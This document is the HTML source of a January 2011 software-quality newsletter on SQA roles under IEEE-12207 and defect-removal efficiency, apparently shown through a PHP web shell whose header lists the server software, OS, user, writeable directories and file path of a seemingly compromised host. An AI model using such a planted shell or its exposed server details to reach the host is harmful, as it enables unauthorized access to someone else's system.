KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/srakitin/newsletter/vol8/no1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/srakitin/newsletter/vol8/no1/vol8no1Upload.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Food for Thought: SQA in 2011 - Back to Basics</title>
<link href="http://www.swqual.com/StyleSheet.css" rel="stylesheet" type="text/css" />
</head>

<OpenTracking/>
<!--  Do NOT delete previous line if you want to get statistics on the number of opened emails -->

<body>
<table width="600" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr align="center" valign="top">
    <td colspan="2"><img src="http://www.swqual.com/images/food_for_thought_big.gif" alt="Food for Thought" width="436" height="169" /></td>
  </tr>
  <tr class="Reference">
    <td align="left" valign="top"><p><br />
      An e-newsletter published by<br />
      Software Quality Consulting, Inc. </p>
    </td>
    <td align="right" valign="top"><p><br />
      January 2011, Vol. 8 No. 1<br />
      [<SimpleURLProperty href="http://www.swqual.com/newsletter/vol8/no1/vol8no1.txt" name="Text-only Version" track="true" type="plain" label="Text-only Version"><a href="http://www.swqual.com/newsletter/vol8/no1/vol8no1.txt" target="_blank">Text-only Version</a></SimpleURLProperty>]</p>
    </td>
  </tr>
</table>

<br />
<table width="600" border="0" align="center" cellpadding="0" cellspacing="0" class="BodyText">
  <tr>
    <td align="left" valign="top">
		<p><Greeting /></p>
	<p>Welcome to <em><strong>Food for Thought&#8482;</strong></em>, an e-newsletter from <SimpleURLProperty href="http://www.swqual.com/index.html?Intro" name="Software Quality Consulting" track="true" type="plain" label="Software Quality Consulting"><a href="http://www.swqual.com/index.html?Intro" target="_blank">Software Quality Consulting</a></SimpleURLProperty>. I've created free subscriptions for my valued business contacts. If you find this newsletter informative, I encourage you to continue reading. Feel free to pass this newsletter along to colleagues by clicking on the <strong>Forward Email</strong> link at the bottom of this email. If you&rsquo;ve received this newsletter from a colleague and would like to subscribe, please click this <SimpleURLProperty href="http://www.swqual.com/e_newsletter.html" name="Enter New Subscription" track="true" type="plain" label="Enter New Subscription"><a href="http://www.swqual.com/e_newsletter.html" target="_blank">Enter New Subscription</a></SimpleURLProperty> link. If you don't wish to receive this newsletter, click the <a href="#bottom">SafeUnSubscribe</a>&#8482; link at the bottom of this newsletter, and you won&rsquo;t be bothered again.</p>
    <p align="center"><strong>Note:</strong> If you have trouble reading this e-newsletter or accessing<br />
  any of the links, <strong><simpleurlproperty href="http://www.swqual.com/newsletter/vol8/no1/vol8no1.html" name="Browser Window View" track="true" type="plain" label="click here"><a href="http://www.swqual.com/newsletter/vol8/no1/vol8no1.html" target="_blank">click here</a></simpleurlproperty></strong> to open the newsletter in a web browser.</p>
    <p>Your continued feedback on this newsletter is most welcome. Please send your comments and suggestions to <a href="mailto:[email protected]">[email protected]</a>.</p></td>
  </tr>
</table>
<br />
<table width="600" border="0" align="center" cellpadding="0" cellspacing="0" class="BodyText">
  <tr>
    <td width="145" align="left" valign="top"><img src="http://www.swqual.com/images/in_this_issue.gif" alt="In This Issue" width="145" height="36" /></td>
    <td width="15" align="left" valign="top">&nbsp;</td>
    <td width="440" align="left" valign="top"><p>In <a href="#article">This Month's Topic</a>,   I pay tribute to the enormous contributions made by Watts Humphrey.</p>
      <p>        Regular features to look for each month are: </p>
      <ul>
        <li> <a href="#morsel">Monthly Morsels</a><br />
        Hints, tips, techniques and reference info related to this month&rsquo;s topic</li>
      </ul>
    </td>
  </tr>
</table>
<br />
<br />
<a name="article" id="article"></a>
<table width="600" border="0" align="center" cellpadding="0" cellspacing="0" class="BodyText">
  <tr>
    <td width="145" align="left" valign="top"><p><img src="http://www.swqual.com/images/this_months_topic.gif" alt="This Month's Topic" width="146" height="35" /></p>
    </td>
    <td width="15">&nbsp;</td>
    <td width="440" align="left" valign="top" class="BodyText"><div align="center" class="Headline">SQA in 2011<br />Back to Basics</div>
      <p>In past e-newsletters, we discussed the evolution of Software Quality Assurance over the past 50 years. Today, as we begin the second decade of the 21st century, we re-examine what we call &ldquo;SQA&rdquo; and review the basic set of SQA practices&hellip;</p>
      <p><strong>What is SQA?</strong></p>
      <p>As we saw in my <SimpleURLProperty href="http://www.swqual.com/images/FoodforThought_Jun2009.pdf" name="June 2009 e-newsletter" track="true" type="plain" label="June 2009 e-newsletter"><a href="http://www.swqual.com/images/FoodforThought_Jun2009.pdf" target="_blank">June 2009 e-newsletter</a></SimpleURLProperty>, Internal IV&amp;V evolved into what we commonly refer to as &ldquo;SQA&rdquo;. However, if you talk to people who work in &ldquo;SQA&rdquo; at software development companies, you will see significant differences in the roles and responsibilities of the SQA function. </p>
      <p>New software engineering standards, such as <SimpleURLProperty href="http://standards.ieee.org/findstds/standard/12207-2008.html" name="IEEE-Software Life Cycle Processes" track="true" type="plain" label="IEEE-12207:2008 Software Life Cycle Processes"><a href="http://standards.ieee.org/findstds/standard/12207-2008.html" target="_blank">IEEE-12207:2008 Software Life Cycle Processes</a></SimpleURLProperty> have helped clarify the role of SQA in a software development organization. IEEE-12207 defines <strong>quality assurance</strong> as:</p>
      <blockquote>
        <p>&ldquo;all the planned and systematic activities implemented within the quality system, and demonstrated as needed, to provide adequate confidence that an entity will fulfill requirements for quality.&rdquo; [1]</p>
      </blockquote>      <p>Currently, several IEEE Software Engineering standards are being harmonized with IEEE-12007, including <SimpleURLProperty href="http://www.computer.org/portal/web/sqa" name="IEEE-730 Software Quality Assurance" track="true" type="plain" label="IEEE-730 Software Quality Assurance"><a href="http://www.computer.org/portal/web/sqa" target="_blank">IEEE-730 Software Quality Assurance</a></SimpleURLProperty>. IEEE-12207 further identifies two very distinct roles that an SQA Group can perform &ndash; one is a <strong>product assurance role</strong> and the other is a <strong>process assurance role</strong>. </p>
      <p>The <strong>product assurance role</strong> is defined as providing assurance that:</p>
      <ul>
        <li>all the plans required by the contract are documented, comply with the contract, are mutually consistent, and are being executed as required.<br />
          <br />
        </li>
        <li>software products and related documentation comply with the contract and adhere to the plans.<br />
          <br />
        </li>
        <li>the software products have fully satisfied their contractual requirements and are acceptable to the acquirer</li>
      </ul>      
      <p>As you can see from the definitions, the language used in IEEE-12207 is based on a supplier-acquirer business model where there is a contract that defines the business relationship between supplier and acquirer as well as the product being developed. Many organizations use a different business model, one where there isn&rsquo;t a contract per se nor a one-to-one relationship between supplier and acquirer. The IEEE-12207 standard still applies in those situations. &ldquo;Contracts&rdquo; become procedures and requirements and &ldquo;acquirers&rdquo; become users and customers.</p>
      <p>Some key points from these definitions are that in the <strong>product assurance role</strong>, SQA is responsible to provide assurance that the: </p>
      <ul>
        <li>required plans (such as a Software Development Plan, a Software Test Plan, etc.) are in place and either comply with a contract or perhaps with your organization&rsquo;s internal <strong>Software Development Life Cycle</strong> (SDLC) Model. <br />
          <br />
        </li>
        <li>software product and its documentation comply with the contract (or procedures and requirements) and is developed according to those plans.<br />
          <br />
        </li>
        <li>software meets all requirements and is accepted by the acquirer (or user and customer).</li>
      </ul>      
      <p>In the <strong>product assurance role</strong>, SQA resources are responsible for performing the tasks listed above. SQA would have a hands-on role in performing one or more levels of testing that traditionally has been used to demonstrate whether software meets all requirements and is accepted by the acquirer or user as the case may be&hellip;</p>
      <p>The <strong>process assurance role</strong> is defined as providing assurance that the:</p>
      <ul>
        <li>software life cycle processes (supply, development, operation, maintenance, and support processes including quality assurance) employed for the project comply with the contract and adhere to the plans.<br />
          <br />
        </li>
        <li> internal software engineering practices, development environment, test environment, and libraries comply with the contract (or procedures).<br />
          <br />
        </li>
        <li>applicable prime-contract requirements are passed down to the subcontractor, and that the subcontractor's software products satisfy prime-contract requirements.<br />
          <br />
        </li>
        <li> Acquirer (user or customer) and other parties are provided the required support and cooperation in accordance with the contract, negotiations, and plans.<br />
          <br />
        </li>
        <li> software product and process measurements are in accordance with established standards and procedures.<br />
          <br />
        </li>
        <li> staff assigned have the skill and knowledge needed to meet the requirements of the project and receive any necessary training.</li>
      </ul>      
      <p>The <strong>process assurance role</strong> has a different focus. Here, SQA is responsible for assuring that defined SDLC processes are followed. This is most often done through audits and reviews of documents and records. In this role, SQA assures that the process is followed. SQA is not responsible for testing, but rather, for assuring that testing is performed as defined in the SDLC, test plans and, if applicable, the contract. </p>
      <p>Typically, the <strong>process assurance role</strong> is required for CMMi organizations and in cases where software development is regulated. </p>
      <p><strong>What is your SQA Role?</strong></p>
      <p>Now that we have discussed the two roles for SQA, my question to you is &ndash; which of these two roles does the SQA function at your company perform &ndash; <strong>product assurance</strong> or <strong>process assurance</strong> or both?</p>
      <p>Having worked with over 150 software development organizations, I can tell you that there are still many organizations where the SQA role is limited to only testing. It&rsquo;s hard to believe that after 50 years of experience with SQA, there are still organizations that have yet to realize the benefits of having a true SQA function &ndash; one that is fully involved in the entire software development lifecycle &ndash; from requirements through product retirement. </p>
      <p><strong>The Basics of SQA</strong></p>
      <p>My definition of SQA is independent of the product or process assurance role discussed above and applies to both roles. I believe SQA is:</p>
      <ul>
        <li>A planned set of tasks, activities, and actions performed independently of the software development organization that provides Management with objective, timely, and factual information that can be used to make appropriate business decisions regarding a software product.</li>
      </ul>      <p>Given this definition, I&rsquo;ve identified several key areas that SQA must be involved in to improve effectiveness. These key areas represent the bare minimum that any SQA function should perform:</p>
      <ul>
        <li><strong>Involvement in the entire Software Development Life Cycle (SDLC)</strong></li>
      </ul>      
      <blockquote>
        <p>To be effective, SQA must be involved throughout the entire SDLC process since, at each phase of the SDLC, there are opportunities for defects to be introduced into the product (documentation and software). The SDLC must be written down and SQA&rsquo;s role at each phase must be clearly defined and supported by Management. SQA must be very familiar with the product (domain knowledge) and the process to ensure maximum benefit and highest quality.</p>
      </blockquote>      
      <ul>
        <li><strong>Requirements</strong></li>
      </ul>      
      <blockquote>
        <p>Requirements are the foundation of every software development project. Without clearly defined requirements, developers improvise and meaningful testing is not possible. SQA must be involved in reviewing and analyzing requirements from the earliest stages of a project as well as assessing changes to requirements throughout a project. In this role, SQA&rsquo;s focus should be on assessing testability &ndash; is every requirement testable as written?</p>
        <p>In addition, SQA should be involved in creating a Requirements Trace Matrix (RTM). Tracing requirements to tests is a key tool for ensuring that all requirements are adequately covered by test cases.</p>
      </blockquote>      
      <ul>
        <li><strong>Reviews and Audits</strong></li>
      </ul>      
      <blockquote>
        <p>Reviews and audits are key tools for finding defects and assessing compliance. SQA needs to participate in technical reviews &ndash; especially in the early stages of projects when requirements are evolving. SQA needs to be advocates for effective peer reviews and where appropriate, formal inspections.</p>
        <p>As stated by David Parnas,</p>
        <blockquote>
          <p>&ldquo;Early inspection of a document that states system requirements can help insure that the correct system is built.&rdquo; [4]</p>
        </blockquote>
        <p><SimpleURLProperty href="http://www.swqual.com/images/Inspection_role_SQA.pdf" name="Role of inspections from an SQA perspective" track="true" type="plain" label="Read more about the role of inspections from an SQA perspective"><a href="http://www.swqual.com/images/Inspection_role_SQA.pdf" target="_blank">Read more about the role of inspections from an SQA perspective</a></SimpleURLProperty>.</p>
        <p>SQA also needs to perform meaningful audits as appropriate. Audits can help identify weaknesses in the SDLC or areas where additional training may be required.</p>
      </blockquote>      
      <ul>
        <li><strong>Measurements and Metrics</strong></li>
      </ul>      
      <blockquote>
        <p>Measurements and metrics are essential if organizations are to improve since you can&rsquo;t improve what you can&rsquo;t measure. Measurements and metrics can be applied to the product as well as the process used to develop the product. SQA needs to help define appropriate measurements and help present metrics in a coherent and unbiased manner so Management can take appropriate corrective actions.</p>
      </blockquote>      
      <ul>
        <li><strong>Testing</strong></li>
      </ul>      
      <blockquote>
        <p>In a <strong>process assurance role</strong>, SQA needs to be able to review testing performed by others to assess completeness and conformance to approved plans. This role clearly requires familiarity with the testing process.</p>
        <p>In the <strong>product assurance role</strong>, SQA performs most of the testing. For many organizations, the SQA function is limited to testing even though we know that:</p>
        <blockquote>
          <p><strong>testing is necessary but not sufficient to produce quality software</strong>.</p>
        </blockquote>
        <p>Data from Capers Jones [2] has indicated that the more levels of testing that are performed, the higher the <SimpleURLProperty href="http://www.swqual.com/images/Capers_Jones_DRE.pdf" name="defect removal efficiency" track="true" type="plain" label="defect removal efficiency"><a href="http://www.swqual.com/images/Capers_Jones_DRE.pdf" target="_blank">defect removal efficiency</a></SimpleURLProperty>. Defect removal efficiency is one example of a metric that measures the percentage of known defects found by your users or customers.</p>
      </blockquote>      
      <table width="350" border="1" align="center" cellpadding="5" cellspacing="0" bordercolor="#000000" class="BodyText">
        <tr align="center" valign="top" bgcolor="#C6D9F1">
          <td width="140"><p align="center"><strong> Number of<br />
            Testing Stages</strong></p>
              </td>
          <td width="69"><p align="center"><strong> Percent of Effort Devoted to Testing</strong></p></td>
          <td width="103"><p align="center"><strong> Cumulative Defect Removal Efficiency</strong></p></td>
        </tr>
        <tr>
          <td width="140" valign="top"><p> 1 testing stage </p></td>
          <td width="69" valign="top"><p align="center"> 10%</p></td>
          <td width="103" valign="top"><p align="center"> 50%</p></td>
        </tr>
        <tr>
          <td width="140" valign="top"><p> 2 testing stages</p></td>
          <td width="69" valign="top"><p align="center"> 15%</p></td>
          <td width="103" valign="top"><p align="center"> 60%</p></td>
        </tr>
        <tr>
          <td width="140" valign="top"><p> 3 testing stages</p></td>
          <td width="69" valign="top"><p align="center"> 20%</p></td>
          <td width="103" valign="top"><p align="center"> 70%</p></td>
        </tr>
        <tr>
          <td width="140" valign="top"><p> 4 testing stages</p></td>
          <td width="69" valign="top"><p align="center"> 25%</p></td>
          <td width="103" valign="top"><p align="center"> 75%</p></td>
        </tr>
        <tr>
          <td width="140" valign="top"><p> 5 testing stages</p></td>
          <td width="69" valign="top"><p align="center"> 30%</p></td>
          <td width="103" valign="top"><p align="center"> 80%</p></td>
        </tr>
        <tr bgcolor="#DDD9C3">
          <td width="140" valign="top"><p> 6 testing stages</p></td>
          <td width="69" valign="top"><p align="center"> 33%</p></td>
          <td width="103" valign="top"><p align="center"> 85%</p></td>
        </tr>
        <tr>
          <td width="140" valign="top"><p> 7 testing stages</p></td>
          <td width="69" valign="top"><p align="center"> 36%</p></td>
          <td width="103" valign="top"><p align="center"> 87%</p></td>
        </tr>
        <tr>
          <td width="140" valign="top"><p> 8 testing stages</p></td>
          <td width="69" valign="top"><p align="center"> 39%</p></td>
          <td width="103" valign="top"><p align="center"> 90%</p></td>
        </tr>
        <tr>
          <td width="140" valign="top"><p> 9 testing stages</p></td>
          <td width="69" valign="top"><p align="center"> 42%</p></td>
          <td width="103" valign="top"><p align="center"> 92%</p></td>
        </tr>
        <tr>
          <td width="140" valign="top"><p> 10 testing stages</p></td>
          <td width="69" valign="top"><p align="center"> 45%</p></td>
          <td width="103" valign="top"><p align="center"> 94%</p></td>
        </tr>
        <tr>
          <td width="140" valign="top"><p> 11 testing stages</p></td>
          <td width="69" valign="top"><p align="center"> 48%</p></td>
          <td width="103" valign="top"><p align="center"> 96%</p></td>
        </tr>
        <tr>
          <td width="140" valign="top"><p> 12 testing stages</p></td>
          <td width="69" valign="top"><p align="center"> 52%</p></td>
          <td width="103" valign="top"><p align="center"> 98%</p></td>
        </tr>
        <tr>
          <td width="140" valign="top"><p> 13 testing stages</p></td>
          <td width="69" valign="top"><p align="center"> 55%</p></td>
          <td width="103" valign="top"><p align="center"> 99%</p></td>
        </tr>
        <tr>
          <td width="140" valign="top"><p> 14 testing stages</p></td>
          <td width="69" valign="top"><p align="center"> 58%</p></td>
          <td width="103" valign="top"><p align="center"> 99.9%</p></td>
        </tr>
        <tr>
          <td width="140" valign="top"><p> 15 testing stages</p></td>
          <td width="69" valign="top"><p align="center"> 61%</p></td>
          <td width="103" valign="top"><p align="center"> 99.99%</p></td>
        </tr>
        <tr>
          <td width="140" valign="top"><p> 16 testing stages</p></td>
          <td width="69" valign="top"><p align="center"> 64%</p></td>
          <td width="103" valign="top"><p align="center"> 99.999%</p></td>
        </tr>
        <tr>
          <td width="140" valign="top"><p> 17 testing stages</p></td>
          <td width="69" valign="top"><p align="center"> 67%</p></td>
          <td width="103" valign="top"><p align="center"> 99.9999%</p></td>
        </tr>
        <tr>
          <td width="140" valign="top"><p> 18 testing stages</p></td>
          <td width="69" valign="top"><p align="center"> 70%</p></td>
          <td width="103" valign="top"><p align="center"> 99.99999%</p></td>
        </tr>
      </table>      
      <blockquote>
        <p>The average for all software development organizations is 6 testing stages that results in a defect removal efficiency of 85%. This means that of all known defects, customers encounter 15% of them.</p>
      </blockquote>      <p><strong>The SQA Umbrella</strong></p>
      <p>Dr. Roger Pressman [5] coined the term <strong>SQA Umbrella</strong> to convey the concept that SQA is not one-dimensional but rather a collection of complimentary tasks and activities that provide significant benefits to organizations that embrace quality. Here is my view of the SQA Umbrella:</p>
      <table width="440" cellpadding="5" cellspacing="0" class="BodyText">
        <tr align="center" valign="middle">
          <td colspan="3"><img src="http://www.swqual.com/newsletter/vol8/no1/Umbrella.gif" width="430" height="164" /></td>
        </tr>
        <tr align="center" valign="middle">
          <td width="160"><p align="center"><strong> Audits</strong></p></td>
          <td width="152"><p align="center"><strong> Product Assessment</strong></p></td>
          <td width="150"><p align="center"><strong> Risk Assessment</strong></p></td>
        </tr>
        <tr align="center" valign="middle">
          <td width="160"><p align="center"><strong> Triage</strong></p></td>
          <td width="152"><p align="center"><strong> Process Assessment</strong></p></td>
          <td width="150"><p align="center"><strong> Testing</strong></p></td>
        </tr>
        <tr align="center" valign="middle">
          <td width="160"><p align="center"><strong> Peer Reviews</strong></p></td>
          <td width="152"><p align="center"><strong> Domain Knowledge </strong></p></td>
          <td width="150"><p align="center"><strong> Test Management</strong></p></td>
        </tr>
        <tr align="center" valign="middle">
          <td width="160"><p align="center"><strong> Formal Inspections </strong></p></td>
          <td width="152"><p align="center"><strong> Quality Management</strong></p></td>
          <td width="150"><p align="center"><strong> Test Automation</strong></p></td>
        </tr>
        <tr align="center" valign="middle">
          <td width="160"><p align="center"><strong> Verification</strong></p></td>
          <td width="152"><p align="center"><strong> Configuration Management</strong></p></td>
          <td width="150"><p align="center"><strong> Defect Tracking</strong></p></td>
        </tr>
        <tr align="center" valign="middle">
          <td width="160"><p align="center"><strong> Validation</strong></p></td>
          <td width="152"><p align="center"><strong> Project Retrospectives</strong></p></td>
          <td width="150"><p align="center"><strong> Measurements and Metrics</strong></p></td>
        </tr>
        <tr align="center" valign="middle">
          <td width="160"><p align="center"><strong> Project Tracking</strong></p></td>
          <td width="152"><p align="center"><strong> Requirements Traceability</strong></p></td>
          <td width="150"><p align="center"><strong> Release Process</strong></p></td>
        </tr>
        <tr align="center" valign="middle">
          <td width="160"><p align="center"><strong> Root Cause Analysis</strong></p></td>
          <td width="152"><p align="center"><strong> Estimating and Scheduling</strong></p></td>
          <td width="150"><p align="center"><strong> Documentation </strong></p></td>
        </tr>
      </table>      
      <p><strong>In Summary&hellip;</strong></p>
      <p>Overall software quality has to improve in order for the software industry to continue to grow and thrive. We are approaching a tipping point - we have become dependent on software that is riddled with defects. Software has huge implications for safety and for the continued growth of the economy. As observed by Parnas [4]:</p>
      <blockquote>
        <p>&ldquo;Despite more than 30 years&rsquo; effort to improve software quality, companies still release programs containing numerous errors. Many major products have thousands of bugs. It&rsquo;s not for lack of trying; all major software developers stress software quality assurance and try to remove bugs before release.&rdquo;</p>
      </blockquote>      <p>We need software organizations to expand the role of SQA beyond that of testing so that we can produce software that is not harmful to people or the economy.</p>
      <p>&lsquo;till next time&hellip;</p>
      </td>
  </tr>
</table>
<br />
<br />
<a name="morsel" id="morsel"></a>
<table width="600" border="0" align="center" cellpadding="0" cellspacing="0" class="BodyText">
  <tr>
    <td width="145" align="left" valign="top"><img src="http://www.swqual.com/images/monthly_morsels.gif" alt="Monthly Morsels" width="145" height="35" /></td>
    <td width="15">&nbsp;</td>
    <td width="440" align="left" valign="top"><p> Every month in this space, you&rsquo;ll find additional information related to this month&rsquo;s topic.</p>
      <ol>
        <li> IEEE Std 12207:2008 Systems and Software Engineering &ndash; Software Life Cycle Processes<br />
          <br />
        </li>
        <li>Capers Jones, Presentation on &ldquo;Software Defect Removal, The State of the Art in 2010.&rdquo;<br />
          <br />
        </li>
        <li><SimpleURLProperty href="http://www.swqual.com/images/Capers_Jones_DRE.pdf" name="Software Defect Removal Efficiency" track="true" type="plain" label="Jones, Capers, &ldquo;Software Defect Removal Efficiency&rdquo;, IEEE Computer, April 1996. P. 94-95."><a href="http://www.swqual.com/images/Capers_Jones_DRE.pdf" target="_blank">Jones, Capers, &ldquo;Software Defect Removal Efficiency&rdquo;, IEEE Computer, April 1996. P. 94-95.</a></SimpleURLProperty><br />
          <br />
        </li>
        <li><SimpleURLProperty href="http://www.swqual.com/images/Inspection_role_SQA.pdf" name="Inspection's Role in Software Quality Assurance" track="true" type="plain" label="Parnas, D. L. and Lawford, M., &ldquo;Inspection&rsquo;s Role in Software Quality Assurance&rdquo;, IEEE Software, July-August 2003, p. 16-20."><a href="http://www.swqual.com/images/Inspection_role_SQA.pdf" target="_blank">Parnas, D. L. and Lawford, M., &ldquo;Inspection&rsquo;s Role in Software Quality Assurance&rdquo;, IEEE Software, July-August 2003, p. 16-20.</a></SimpleURLProperty><br />
          <br />
        </li>
        <li>Pressman, R., Software Engineering &ndash; A Practitioner&rsquo;s Approach, McGraw-Hill, 1997, 4 th edition, p. 179. </li>
      </ol>      
      </td>
  </tr>
</table>
<br />
<br />
<table width="600" border="0" align="center" cellpadding="0" cellspacing="0" class="BodyText">
  <tr>
    <td width="145" align="left" valign="top"><img src="http://www.swqual.com/images/about_SQC.gif" alt="About SQC" width="145" height="35" /></td>
    <td width="15">&nbsp;</td>
    <td width="440" align="left" valign="top">Software Quality Consulting provides consulting, training, and auditing services tailored to meet the specific needs of clients. We help clients fine-tune their software development processes and improve the quality of their software products. The overall goal is to help clients achieve Predictable Software Development&trade; &ndash; so that organizations can consistently deliver quality software with promised features in the promised timeframe.
       To learn more about how we can help your organization, <SimpleURLProperty href="http://www.swqual.com/index.html?AboutSQC" name="Software Quality Consulting" track="true" type="plain" label="visit our web site"><a href="http://www.swqual.com/index.html?AboutSQC" target="_blank">visit our web site</a></SimpleURLProperty> or <a href="mailto:[email protected]">send us an email</a>.</td>
  </tr>
</table>
<br />

<div align="center" class="Reference">Food for Thought, Predictable Software Development, Act Like a Customer,<br />
and ALAC are trademarks of Software Quality Consulting, Inc.<br />
Copyright 2010. Software Quality Consulting, Inc. All rights reserved.<br />
Graphic design by <a href="http://www.sarahcoledesign.com/" target="_blank">Sarah Cole Design</a>.</div>
<a name="bottom" id="bottom">&nbsp;</a></body>
</html>

Anon7 - 2021